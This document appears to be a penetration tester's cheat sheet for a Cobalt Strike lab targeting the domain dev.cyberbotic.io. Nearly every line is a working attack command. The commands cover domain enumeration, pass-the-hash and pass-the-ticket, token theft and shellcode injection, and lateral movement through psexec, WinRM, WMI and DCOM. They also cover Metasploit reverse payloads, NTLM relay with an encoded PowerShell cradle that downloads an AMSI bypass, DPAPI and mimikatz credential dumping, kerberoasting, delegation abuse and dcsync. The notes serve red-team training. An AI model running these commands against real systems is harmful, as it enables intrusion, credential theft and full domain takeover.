beacon> powerpick Get-DomainOU -Properties Name | sort -Property Name

# Identify computers in given OU

beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName

# Get Domain group (Use -Recurse Flag)

beacon> powerpick Get-DomainGroup | where Name -like "\*Admins\*" | select SamAccountName

# Get Domain Group Member

beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName

beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberDistinguishedName

# Get Domain GPO

beacon> powerpick Get-DomainGPO -Properties DisplayName | sort -Property DisplayName

# Find the System where given GPO are applicable

beacon> powerpick Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedName

# Idenitfy domain users/group who have local admin via Restricted group or GPO

beacon> powerpick Get-DomainGPOLocalGroup | select GPODisplayName, GroupName

# Enumerates the machines where a specific domain user/group has local admin rights

beacon> powerpick Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl

# Get Domain Trusts

beacon> powerpick Get-DomainTrust

# Find interesting ACLs

beacon> powerpick Find-InterestingDomainAcl -ResolveGUIDs

# ----------------------------------------------------------------------------

# Find Local Admin Access on other domain computers based on context of current user

beacon> powerpick Find-LocalAdminAccess -Verbose

beacon> powerpick Invoke-CheckLocalAdminAccess -ComputerName <server\_fqdn>

# Not available in Powerview , need scripts Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1

beacon> powerpick Find-PSRemotingLocalAdminAccess -ComputerName <server\_fqdn>

beacon> powerpick Find-WMILocalAdminAccess -ComputerName <server\_fqdn>

# Check for computers where users or domain admin may have logged in sessions

# Find computers where a domain admin (or specified user/group) has sessions

beacon> powerpick Find-DomainUserLocation -Verbose

beacon> powerpick Find-DomainUserLocation -UserGroupIdentity "Domain Users"

# Find computers where a domain admin session is available and current user has admin access (uses `Test-AdminAccess`). -CheckAccess Flag Sometimes not gives accurate results with Find-DomainUserLocation , So use Invoke-UserHunter.

beacon> powerpick Invoke-UserHunter -CheckAccess

beacon> powerpick Find-DomainUserLocation -CheckAccess

# Find computers (File Servers and Distributed File servers) where a domain admin session is available.

beacon> powerpick Find-DomainUserLocation –Stealth

beacon> powerpick Invoke-StealthUserHunter

# Finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines

beacon> powerpick Invoke-UserHunter -CheckAccess

# Finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users

beacon> powerpick Invoke-StealthUserHunter

# Hunts for processes with a specific name or owned by specific user on domain machines

beacon> powerpick Invoke-ProcessHunter

# Hunts for user logon events in domain controller event logs

beacon> powerpick Invoke-UserEventHunter

# Find shares on hosts in current domain.

beacon> powerpick Invoke-ShareFinder –Verbose

# Find sensitive files on computers in the domain

beacon> powerpick Invoke-FileFinder -Verbose

# Get all fileservers of the domain

beacon> powerpick Get-NetFileServer

* Domain recon using SharpView binary

beacon> execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-Domain

* Domain recon using ADSearch

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "objectCategory=user"

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=\*Admins\*))"

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member

# Kerberostable Users

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=\*))" --attributes cn,servicePrincipalName,samAccountName

# ASEPROAST

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

# Unconstrained Delegation

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

# Constrained Delegation

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=\*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

# Additionally, the `--json` parameter can be used to format the output in JSON

**User Impersonation**

* Pass The Hash Attack (PTH)

beacon> getuid

beacon> ls \\web.dev.cyberbotic.io\c$

# PTH using inbuild method in CS (internally uses Mimikatz)

beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c

# Find Local Admin Access

beacon> powerpick Find-LocalAdminAccess

beacon> rev2self

* Pass The Ticket Attack (PTT)

# Create a sacrificial token with dummy credentials

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123

# Inject the TGT ticket into logon session returned as output of previous command

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP

# OR Combine above 2 steps in one

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123 /ticket:doIFuj[...snip...]lDLklP

beacon> steal\_token 4748

beacon> token-store steal 4748

# Now check access by trying to list the c: drive

beacon> ls \\web.dev.cyberbotic.io\c$

* OverPassTheHash (OPTH)

# Using rc4 NTLM Hash

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap

# Using aes256 hash for better opsec, along with /domain (Use NetBios name "DEV" not FQDN "dev.cyberbotic.io") and /opsec flags (better opsec)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /domain:DEV /opsec /nowrap

# Using username and password to obtain TGT

# We can use Rubeus Hash Functionality to calculate hash from the credentials

# Calculate Hash of the random password, So we can use it to get TGT.

cmd> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io

# Alternatively we can use make\_token in Cobalt Strike

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /password:<password> /enctype:<des|aes128|aes256|rc4(default)> /domain:DEV /opsec /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:mssql\_svc /password:Cyberb0tic /enctype:rc4 /domain:DEV /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79D...44 /nowrap

# Now using this TGT perform PTT attack

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123 /ticket:doIFuj[...snip...]lDLklP

beacon> steal\_token 4748

beacon> token-store steal 4748

# Now we can check for LocalAdminAccess and then Move Laterally.

beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Find-LocalAdminAccess -Verbose

* Token Impersonation , Token Store, Make Token & Process Injection

# steal access token from another process using steal\_token

beacon> steal\_token <PID>

# Drop the impersonation (Revert to ourself)

beacon> rev2self

# Storing and managing stolen access tokens using token-store

# Steal a token from a Process and add it to token store

beacon> token-store steal 5536

# List all stored tokens

beacon> token-store show

# Impersonating a Stored Token

beacon> token-store use <id>

# Drop the impersonation

beacon> rev2self

# Removing a Single Token or Flushing all tokens

beacon> token-store remove <id>

beacon> token-store remove-all

# Impersonating Domain User with Credentials using make\_token (make\_token = runas /netonly)

# The logon session created with LogonUserA API (make\_token) has the same local identifier as the caller but the alternate credentials are used when accessing a remote resource.

beacon> make\_token DEV\jking <Password>

# Process Injection

# `shinject` allows you to inject any arbitrary shellcode from a binary file on your attacking machine

beacon> shinject <PID> <x86|x64> /path/to/binary.bin

# `inject` will inject a full Beacon payload for the specified listener.

beacon> inject 4464 x64 tcp-local

**Lateral Movement**

# using Jump

## This will spawn a Beacon payload on the remote target, and if using a P2P listener, will connect to it automatically.

# Malleable C2 amsi\_disable does not applies to Cobalt Strike Jump Command, So some methods in jump command which uses Powershell like psexec\_psh , winrm and winrm64 will not work if payload is detected, So we musty have to use Custom AMSI Bypass script to avoif that and get a shell.

# To make the jump command work and include amsi bypass into it, We need to modify the Resource kit's template.x86.ps1 (for winrm), template.x64.ps1 (for winrm64) and compress.ps1 (for psexec\_psh).

# To learn more , Read this blog - https://offensivedefence.co.uk/posts/making-amsi-jump/

beacon> jump psexec/psexec64/psexec\_psh/winrm/winrm64 ComputerName beacon\_listener

# Using remote exec

## You also need to connect to P2P Beacons manually using connect or link.

beacon> remote-exec psexec/winrm/wmi ComputerName <uploaded binary on remote system>

# To execute commands

beacon> remote-exec winrm ComputerName <execute commands>

#--------------------------------------------------------------

# Using PSExec (Requires TGS for CIFS)

## Make sure to change the Post-Ex process for Psexec which is Rundll32.exe by default and even Malleable c2's Post-Ex don't help here , So we have to do it manually using spawnto.

beacon> ak-settings

beacon> spawnto x64 %windir%\sysnative\dllhost.exe

beacon> spawnto x86 %windir%\syswrun klist ow64\dllhost.exe

beacon> jump psexec64 web.dev.cyberbotic.io smb

beacon> jump psexec\_psh web.dev.cyberbotic.io smb

beacon> cd \\web.dev.cyberbotic.io\ADMIN$

beacon> upload C:\Payloads\smb\_x64.exe

beacon> remote-exec psexec web.dev.cyberbotic.io C:\Windows\smb\_x64.exe

beacon> remote-exec psexec sql-2 powershell.exe -nop -w hidden -c 'C:\Windows\smb\_x64.exe'

beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

## Then use powerpick to get its own process name, it will return dllhost.

beacon> powerpick Get-Process -Id $pid | select ProcessName

#-------------------------------------------------------------------------------------

# Example Windows Remote Management (WinRM) - (Requires TGS for HOST & HTTP)

beacon> ls \\web.dev.cyberbotic.io\c$

beacon> jump winrm64 web.dev.cyberbotic.io smb

beacon> jump winrm web.dev.cyberbotic.io smb

beacon> cd \\web.dev.cyberbotic.io\c$\ProgramData

beacon> upload C:\Payloads\smb\_x64.exe

beacon> remote-exec winrm web.dev.cyberbotic.io C:\Windows\smb\_x64.exe

beacon> remote-exec winrm sql-2 powershell.exe -nop -w hidden -c 'C:\Windows\smb\_x64.exe'

beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff1

#-------------------------------------------------------------------------------------

# Example Windows Management Instrumentation (WMI) - (Requires TGS for HOST & RPCSS)

# If gets COM Error try to upload the binary to directory where user may have access

beacon> cd \\web.dev.cyberbotic.io\c$\ProgramData

beacon> upload C:\Payloads\smb\_x64.exe

beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb\_x64.exe

beacon> remote-exec wmi sql-2 powershell.exe -nop -w hidden -c 'C:\Windows\smb\_x64.exe'

beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

# Using SharpWMI

beacon> execute-assembly c:\Tools\Ghostpack-CompiledBinaries\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb\_beacon2.exe"

beacon> link WINTERFELL msagent\_eb

#-------------------------------------------------------------------------------------

# Executing .Net binary remotely

## Some of Seatbelt's commands can also be run remotely, which can be useful enumerating its configurations and defences before jumping to it.

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe OSInfo -ComputerName=web

#--------------------------------------------------------------------------------------

# Invoke DCOM (better opsec) (Requires TGS for RPCSS)

beacon> powershell-import C:\Tools\Invoke-DCOM.ps1

beacon> cd \\web.dev.cyberbotic.io\ADMIN$

beacon> upload c:\Payloads\smb\_x64.exe

beacon> powerpick Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb\_x64.exe

beacon> link web.dev.cyberbotic.io agent\_vinod

#--------------------------------------------------------------------------------------

## NOTE: While using remote-exec for lateral movement, kindly generate the windows service binary as psexec creates a windows service pointing to uploaded binary for execution

**Session Passing**

# CASE 1: Beacon Passing (Within Cobalt Strike - Create alternate HTTP beacon while keeping DNS as lifeline)

beacon> spawn x64 http

# CASE 2: Foreign Listener (From CS to Metasploit - Staged Payload - only x86 payloads)

# Setup Metasploit listener

attacker@ubuntu ~> sudo msfconsole -q

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse\_http

msf6 exploit(multi/handler) > set LHOST ens5

msf6 exploit(multi/handler) > set LPORT 8080

msf6 exploit(multi/handler) > run

# Setup a Foreign Listener in cobalt strike with above IP & port details

# Use Jump psexec to execute the beacon payload and pass the session

beacon> jump psexec Foreign\_listener

beacon> spawn x86 Foreign\_listener

# CASE 3: Shellcode Injection (From CS to Metasploit - Stageless Payload)

# Setup up metasploit

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter\_reverse\_http

msf6 exploit(multi/handler) > exploit

# Generate binary

ubuntu@DESKTOP-3BSK7NO ~> msfvenom -p windows/x64/meterpreter\_reverse\_http LHOST=10.10.5.50 LPORT=8080 -f raw -o /mnt/c/Payloads/msf\_http\_x64.bin

# Inject msf shellcode into process memory

beacon> shspawn x64 C:\Payloads\msf\_http\_x64.bin

**Pivoting**

# Enable Socks Proxy in beacon session (Use SOCKS 5 for better OPSEC)

beacon> socks 1080 socks5 disableNoAuth socks\_user socks\_password enableLogging

beacon> socks 1080 socks4

beacon> socks stop

# Verify the SOCKS proxy on team server

attacker@ubuntu ~> sudo ss -lpnt

# Configure Proxychains in Linux

$ sudo nano /etc/proxychains.conf

socks5 127.0.0.1 1080 socks\_user socks\_password

$attacker@ubuntu ~> proxychains nmap -n -Pn -sT -p445,3389,4444,5985 10.10.122.10

$attacker@ubuntu ~ > proxychains wmiexec.py DEV/jking@10.10.122.30

# Tunnel Metasploit Framework exploits and modules through Beacon.

beacon> socks 6666 socks4

msf> setg Proxies socks4:TeamServerIP:Port

msf> setg ReverseAllowProxy true

msf> unsetg Proxies

# Use Proxifier for Windows environment

ps> runas /netonly /user:dev/bfarmer mmc.exe

ps> mimikatz > privilege::debug

ps> mimikatz > sekurlsa::pth /domain:DEV /user:bfarmer /ntlm:4ea24377a53e67e78b2bd853974420fc /run:mmc.exe

PS C:\Users\Attacker> $cred = Get-Credential

PS C:\Users\Attacker> Get-ADComputer -Server 10.10.122.10 -Filter \* -Credential $cred | select

# Use FoxyProxy plugin to access Webportal via SOCKS Proxy

# Reverse Port Forward (if teamserver is not directly accessible, then use rportfwd to redirect traffic)

beacon> rportfwd 8080 127.0.0.1 80

beacon> rportfwd stop 8080

beacon> run netstat -anp tcp

beacon> powershell New-NetFirewallRule -DisplayName "Test Rule" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080

ps> iwr -Uri http://wkstn-2:8080/a

beacon> powershell Remove-NetFirewallRule -DisplayName "Test Rule"

# -------------------------------------------------------------------------------

# NTLM Relay

# 1. Allow ports inbound on the Windows firewall (One for SMB and one for Powershell cradle).

beacon> powershell New-NetFirewallRule -DisplayName "8445-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8445

beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

# 2. Setup reverse port forwarding - one for the SMB capture, the other for a PowerShell download cradle.

beacon> rportfwd 8080 127.0.0.1 80

beacon> rportfwd 8445 127.0.0.1 445

# 3. Setup SOCKS Proxy on the beacon

beacon> socks 1080 socks5 disableNoAuth socks\_user socks\_password enableLogging

# 4. Setup Proxychains to use this proxy

$ sudo nano /etc/proxychains.conf

socks5 127.0.0.1 1080 socks\_user socks\_password

# 5. Use Proxychain to send NTLMRelay traffic to beacon targeting DC and encoded SMB Payload for execution

$ sudo proxychains ntlmrelayx.py -t smb://10.10.122.10 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBhAG0AcwBpAC0AYgB5AHAAYQBzAHMALgBwAHMAMQAiACkAOwBpAGUAeAAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAGIAIgApAA=='

# IEX (new-object net.webclient).downloadstring("http://wkstn-2:8080/amsi-bypass.ps1");iex (new-object net.webclient).downloadstring("http://wkstn-2:8080/b")

# Where is the wkstn-2 IP.

# 10.10.122.10 is the IP address of dc-2.dev.cyberbotic.io, which is our target.

# The encoded command is a download cradle pointing at http://10.10.123.102:8080/b, and /b is an SMB payload.

# 6. Upload PortBender driver and load its .cna file (Cobalt Strike > Script Manager and load PortBender.cna from C:\Tools\PortBender)

beacon> cd C:\Windows\system32\drivers

beacon> upload C:\Tools\PortBender\WinDivert64.sys

beacon> PortBender redirect 445 8445

# 7. Manually try to access share on our system or use MSPRN, Printspooler to force authentication (Refer to Notes)

# Manually triggering the attack (Usin a console of Wkstn-1 as nlamb user to make authentication attempt on wkstn-2.)

C:\Users\nlamb>hostname

wkstn-1

C:\Users\nlamb>dir \\10.10.123.102\relayme

C:\Users\nlamb>dir \\wkstn-2\relayme

# 8. Verify the access in weblog and use link command to connect with SMB beacon

beacon> link dc-2.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

**Data Protection API (DPAPI)**

# Use mimikatz to dump secrets from windows vault

beacon> mimikatz !vault::list

beacon> mimikatz !vault::cred /patch

# Part 1: Enumerate stored credentials, Make sure to enumerate as both Admin and Domain User in a machine.

# 0. Check if system has credentials stored in either web or windows vault

beacon> run vaultcmd /list

beacon> run vaultcmd /listcreds:"Windows Credentials" /all

beacon> run vaultcmd /listcreds:"Web Credentials" /all

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

# Part 2.1: Scheduled Task Credentials

# 0. Before manually trying to extract Credentials try below command ones which is equivalent of the below commands and gives same.

beacon> mimikatz !vault::cred /patch

# 1. Credentials for task scheduler are stored at below location in encrypted blob

beacon> ls C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

# 2. Find the GUID (guidMasterKey) of Master key associated with encrypted blob (F31...B6E)

beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E

# 3. Dump all the master keys and filter the one we need based on GUID identified in previous step

beacon> mimikatz !sekurlsa::dpapi

# 4. Use the Encrypted Blob and Master Key to decrypt and extract plain text password

beacon> mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\F3190EBE0498B77B4A85ECBABCA19B6E /masterkey:10530dda04093232087d35345bfbb4b75db7382ed6db73806f86238f6c3527d830f67210199579f86b0c0f039cd9a55b16b4ac0a3f411edfacc593a541f8d0d9

# Part 2.2: Extracting stored RDP Password

# 0. Verify if any credentials are stored or not

beacon> run vaultcmd /list

beacon> run vaultcmd /listcreds:"Windows Credentials" /all

beacon> run vaultcmd /listcreds:"Web Credentials" /all

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsVault

# 1. Enumerate the location of encrypted credentials blob (Returns ID of Enc blob and GUID of Master Key)

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles

# 2. Verify the credential blob in users cred directory (Note enc blob ID)

beacon> ls C:\Users\bfarmer\AppData\Local\Microsoft\Credentials

# 3. Master keys are stored in the users' roaming "Protect" directory (Note GUID of master key matching with Seatbelt)

beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104

# 4. Decrypt the master key first to obtain the actual AES128/256 encryption key, and then use that key to decrypt the credential blob. (Need to be execute in context of user who owns the key, use @ modifier)

# Requires Elevation or interaction with LSASS

beacon> mimikatz !sekurlsa::dpapi

# Does not requires elevation or interaction with LSASS (Check last lines with "domainkey with RPC" line)

beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc

# 5. Use Master key to decrypt the credentials blob

beacon> mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214

**Kerberos**

* Kerberoasting / ASREPRoasting
* # Kerberosting
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=\*))" --attributes cn,servicePrincipalName,samAccountName
* # To avoid Honeypot accounts, few enumerations can be performed
* beacon> powerpick Get-DomainUser -Identity mssql\_svc,squid\_svc,honey\_svc | select samaccountname,logoncount,badpasswordtime,lastlogontimestamp,lastlogoff,lastlogon,badpwdcount,whencreated,pwdlastset
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql\_svc,squid\_svc /nowrap
* ps> hashcat -a 3 -m 13100 hashes wordlist
* # I experienced some hash format incompatibility with john. Removing the SPN so it became: $krb5tgs$23$\*mssql\_svc$dev.cyberbotic.io\*$6A9E[blah] seemed to address the issue.
* ps> john --format=krb5tgs --wordlist=wordlist mssql\_svc
* # ASREPRoast
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
* # To avoid Honeypot accounts, few enumerations can be performed
* beacon> powerpick Get-DomainUser -Identity mssql\_svc,squid\_svc,honey\_svc | select samaccountname,logoncount,badpasswordtime,lastlogontimestamp,lastlogoff,lastlogon,badpwdcount,whencreated,pwdlastset
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid\_svc /nowrap
* ps> hashcat -a 3 -m 18200 svc\_oracle wordlist
* ps> john --format=krb5asrep --wordlist=wordlist squid\_svc
* Unconstrained Delegation
* # Unconstrained Delegation (Caches TGT of any user accessing its service)
* # 1. Identify the computer objects having Unconstrained Delegation enabled
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
* # 2. Dumping the cached TGT ticket (requires system access on affected system)
* beacon> getuid
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap
* # 3. Execute PrintSpool attack to force DC to authenticate with WEB
* beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe dc-2.dev.cyberbotic.io web.dev.cyberbotic.io
* # 4 (a). For MACHINE TGT : Use Machine TGT (DC) fetched to gain RCE on itself using S4U abuse (/self flag)
* # NOTE: A machine account TGT ticket if injected will not work probably, So we have to abuse S4U2SELF to obtain TGS and get access as Local Admin to that machine.
* # Verify this by injecting the TGT insto a sacrificial process and try to access the files. Check S4U2Self Notes below.
* # Generate TGS from TGT
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /nowrap /ticket:doIFuj[...]lDLklP
* # Inject TGS in a sacrificial process
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=
* beacon> steal\_token 2664
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* # 4 (b). For DOMAIN USER TGT : Inject the ticket and access the service.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=
* beacon> steal\_token 2664
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* Constrained Delegation
* # Constrained Delegation (allows to request TGS for any user using its TGT)
* # 1. Identify the computer/User objects having Constrained Delegation is enabled
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=\*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(msds-allowedtodelegateto=\*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
* # 2 (a). Dump the TGT of User/Computer Account having constrained Delegation enabled (use asktgt or NTLM hash)
* beacon> getuid
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap
* # 2 (b). Using Machine/User NTLM Hash to generate TGT.
* beacon> mimikatz !sekurlsa::logonpasswords
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:sql-2$ /rc4:49d47d3af2329a410e6510a7ccd535c3 /nowrap
* # 3 (a). Use S4U technique to request TGS for delegated service using machines TGT (Use S4U2Proxy tkt)
* # /impersonateuser - Impersonating Domain Admin , So check the domain admins and use that. (in lab - nlamb, Administrator)
* beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Domain dev.cyberbotic.io -Recurse
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:CIFS/dc-2.dev.cyberbotic.io /user:sql-2$ /nowrap /ticket:doIFLD[...snip...]MuSU8=
* # 3 (b). OR, Access other alternate Service not stated in Delegation attribute (ldap, http, host, etc...)
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:CIFS/dc-2.dev.cyberbotic.io /altservice:LDAP /nowrap /user:sql-2$ /ticket:doIFpD[...]MuSU8=
* # STEP 2 & 3 in one command using Credentials (Getting TGT and from TGT requesting TGS for Alternative Service)
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:SQL-2$ /rc4:49d47d3af2329a410e6510a7ccd535c3 /impersonateuser:nlamb /msdsspn:CIFS/dc-2.dev.cyberbotic.io /altservice:LDAP /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /nowrap
* # 4. Inject the TGS from previous step (In attacker machine or Initial Machine)
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGaD[...]ljLmlv
* # 5. Access the services
* beacon> steal\_token 5540
* beacon> ls \\dc-2.dev.cyberbotic.io\c$
* beacon> dcsync dev.cyberbotic.io DEV\krbtgt
* # Note: Directory Listing \\dc-2.dev.cyberbotic.io\c$ worked when impersonating 'nlamb' Domain Admin , But not worked with 'Administrator' Domain Admin in the CRTO Lab Environment.
* S4U2Self Abuse
* # S4U2Self Abuse can be Used to get TGS from TGT of a Machine Account.
* # NOTE: A machine account TGT ticket if injected will not work probably, So we have to abuse S4U2SELF to obtain TGS and get access as Local Admin to that machine.
* # To Generate TGS from TGT or (TGT, RC4 or AES hash of machine account)
* # Get the TGT
* # Using Credentials or Dump it from machine or use PrintSpool attack (force DC to authenticate with WEB machine with unconstrained Delegation Enabled)
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:Administrator /rc4:c04d18e6ff38ae05ed3747274c82b07e /domain:dev.cyberbotic.io /nowrap
* beacon> mimikatz !sekurlsa::tickets
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
